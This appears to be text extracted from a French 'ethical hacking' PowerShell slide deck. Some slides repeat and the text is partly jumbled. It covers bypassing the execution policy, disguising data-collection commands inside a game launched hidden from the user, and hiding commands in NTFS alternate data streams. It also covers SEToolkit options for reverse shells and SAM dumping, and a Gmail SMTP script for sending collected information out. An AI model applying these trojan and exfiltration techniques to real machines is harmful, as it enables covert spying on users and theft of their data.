Ethical Hacker Hacking with Powershell J.RIDET acissi Ethical Présentation powershell Hacker ● Scripting orienté objet (objets .NET), contrairement au Shell ● Syntaxe au format {verbe}-{nom} (ex: get-command) aisée à assimiler ● 4 types de commandes ● Cmdlets ● Scripts (fichiers .ps1) ● Programmes exécutables ● Système de pipeline identique ( | ) au Shell ● Auto-complétion des commandes ● Possibilité d'interagir avec les applications Windows (ex: Active Directory) J.RIDET acissi Ethical Présentation powershell Hacker ● Scripting orienté objet (objets .NET), contrairement au Shell ● Syntaxe au format {verbe}-{nom} (ex: get-command) aisée à assimiler ● 4 types de commandes ● Cmdlets ● Scripts (fichiers .ps1) ● Programmes exécutables ● Système de pipeline identique ( | ) au Shell ● Auto-complétion des commandes ● Possibilité d'interagir avec les applications Windows (ex: Active Directory) J.RIDET acissi Ethical Notion d'objet IIII Hacker Dans les langages de programmation orientée objet (POO), les objets sont les éléments principaux avec lesquels on interagit Un objet peut être vu comme un conteneur regroupant à la fois des informations et des actions. Les informations nous renseignent sur les caractéristiques propres à un objet, Exemple le fichier : tutu.txt date de création taille Fichier : tutu.txt J.RIDET Classer les objets selon leurs caractéristiques propres, comme on range des fichiers dans des dossiers thématiques, on répertorie les objets ayant les mêmes caractéristiques dans une classe. acissi Ethical Notion d'objet IIII Hacker Caractéristiques : Propriétés Taille Poids Matériaux Couleur Ethical Notion d'objet IIII Hacker Actions : Poser Mélanger Écraser Ethical Notion d'objet IIII Hacker Informations : nom, taille, type …. Fichier : tutu.txt J.RIDET Actions : Renseignent sur les capacités de l'objet à effectuer des traitements. acissi Ethical Manipuler un objet Hacker NomObjet.NomDeMembre Nom de l'objet . Information Ou Action Ethical Hacker Utilisation du Powershell J.RIDET acissi Ethical Utilisation de powershell IIII Hacker Nous pouvons lancer le powershell soit par ● l'invite de commande dédiée à powershell ● Le DOS puis appeler le powershell Ethical Utilisation de powershell IIII Hacker Nous pouvons lancer le powershell soit par ● l'invite de commande dédiée à powershell ● Le DOS puis appeler le powershell Ethical Utilisation de powershell IIII Hacker Nous pouvons lancer le powershell soit par ● l'invite de commande dédiée à powershell ● Le DOS puis appeler le powershell Ethical Utilisation de powershell IIII Hacker Il faut un accès physique à la machine, La session doit être ouverte, L'action est visible de l'utilisateur. Ethical Hacker Problème de Droits J.RIDET acissi Ethical Problème de droit II Hacker La stratégie Restricted est la stratégie appliquée par défaut à l'environnement Powershell. Cette dernière ne permet pas l'exécution de scripts. Set-ExecutionPolicy permet de changer la stratégie d'exécution. Ethical Problème de droit II Hacker Exemple :Si vous tapez PS > Set-ExecutionPolicy Bypass HKEY_LOCAL_Machine\SOFTWA RE\Microsoft\Powershell\1\ShellIds\ Microsoft.Powershell\ExecutionPoli cy Ethical Hacker Outil de L'administrateur J.RIDET acissi Ethical Outil d'administration IIII Hacker Utilisation de powershell pour les fichiers et dossiers windows. Nous allons faire la création d'un tableau pour accéder aux éléments de notre ordinateur. Création de la variable $jvar fichier1 dossier1 fichier2 fichier3 dossier 2 …. 0 1 2 3 4 Get-member : Obtient les propriétés et méthodes des objets. $jvar|Get-member : nous donne les propriétés de la variable Ethical Outil d'administration IIII Hacker Le powershell intérêt dans une infrastructure d'entreprise. - Création utilisateur, groupe, UO, …. - En local ou à distance. Ethical Outil d'administration IIII Hacker Nous allons maintenant modifier le mot de passe des utilisateurs domaine. Par défaut nous ne pouvons le faire, il faut ajouter l'Applet de commande pour Active Directrory. Import-Module ac* Ethical Outil d'administration IIII Hacker Il faut connaître les syntaxes et la notion d'objet, Taper des lignes de codes ^_^ On peut avoir plein d'informations sur le système et les fichiers, Permettre de faire de la programmation. Ethical Hacker La programmation ? J.RIDET acissi Ethical Application IIIII Hacker Nous allons faire la création d'une application 'un jeu' qui cachera en réalité les commandes pour la récupération d'informations. Il faut tout d'abord faire la création du jeu, ici Jackpot mais toutes applications sont possibles (jeux, utilitaires….). Ethical Application IIIII Hacker Nous pouvons lancer le powershell soit par ● l'invite de commande dédiée à powershell ● Le DOS puis appeler le powershell Shell "powershell.exe" Shell "cscript.exe c:\monfichier'\monscript.ps1" Shell "cscript.exe c:\monfichier'\monscript.ps1",vbhide En te cachant de l'utilisateur Ethical Application IIIII Hacker Nous pouvons faire la récupération des informations du système Exemple : Récupération des paramètres de la carte réseau. (création du fichier pour récupération) Ethical Application IIIII Hacker Ethical Application IIIII Hacker Il faut connaître le langage de programmation, Taper des lignes de codes ^_^ Il faut que l'utilisateur installe l'application, Il faut avoir les droits sur la machine pour certaines lignes. Le hacker doit pourvoir récupérer les informations sur la machine. Ethical Hacker Détection de Flux cachés J.RIDET acissi Ethical Alternate Data Stream IIIIII Hacker ADS permet d'associer plus d'un flux de données à un nom de fichier en jouant sur le format de ce dernier : "Nom_De_Fichier:Nom_De_Flux_Particulier" (Ex : Fic.txt:Zone.Identifier). Ethical Alternate Data Stream IIIIII Hacker Les ADS ont été créé dans le système Windows pour permettre une compatibilité avec le système Macintosh (HFS). Macintosh c'est le résultat de 2 composantes Data fork et Ressource Fork Ressources utilisées par une application (interface graphique, traduction...) Code de l'application Ajourd'hui les ADS permettent de fournir des informations exemple sur les scripts powershell. J.RIDET acissi Ethical Alternate Data Stream IIIIII Hacker L'idée ici est de faire en sorte qu'un script récupéré ou envoyé d'internet soit exécuté sur la machine car par défaut il y a des restrictions. Un script récupéré d'internet avec internet explorer se verra attribuer un alternate stream spécifiant sa provenance. Value Setting ------------------------------ 0 My Computer 1 Local Intranet Zone 2 Trusted sites Zone 3 Internet Zone 4 Restricted Sites Zone Ethical Alternate Data Stream IIIIII Hacker Les informations sur la provenance du script est stocké dans zone.identifier qui prend une valeur selon la provenance du script ainsi que la sécurité d'internet explorer choisie. Si l'on ajout des sites et serveurs de confiances cela va influer sur le ZoneID. Ethical Alternate Data Stream IIIIII Hacker Alternate Data Stream IIIIII Nous allons cacher une des commandes à exécuter dans un fichier ! - Lister les processus en cours d'utilisation de la machine - Remplir le fichier file2 avec les informations récupérées Ethical Hacker Backdoor & SAM In Powershell J.RIDET acissi Ethical Backdoor & SAM IIIII Hacker # cd /usr/share/set # ls # setoolkit J.RIDET acissi Ethical Backdoor & SAM IIIII Hacker J.RIDET acissi Ethical Backdoor & SAM IIIII Hacker J.RIDET acissi Ethical Backdoor & SAM IIIII Hacker 1. Powershell Shellcode Injector 2. Reverse Shell 3. Bind 4. DUMP SAM J.RIDET acissi Ethical Backdoor & SAM IIIII Hacker Set session 1 Set script /root/Desktop/powershell/myscript.ps1 exploit J.RIDET acissi Ethical Hacker Récupération Des informations J.RIDET acissi Ethical Envoi des informations II Hacker $From = "[email protected]" $To = "[email protected]" $SMTPServer = "smtp.gmail.com" $SMTPPort = "587" $Username = "[email protected]" $Password = "gmailpassword" $subject = "Email Subject" $body = "Insert body text here" $smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort); $smtp.EnableSSL = $true $smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password); $smtp.Send($From, J.RIDET $To, $subject,acissi $body); Ethical Envoi des informations II Hacker Depuis la version 3 de powershell la commande send-mailmessage permet une utilisation plus simple d'envoi de mail. QUESTION ?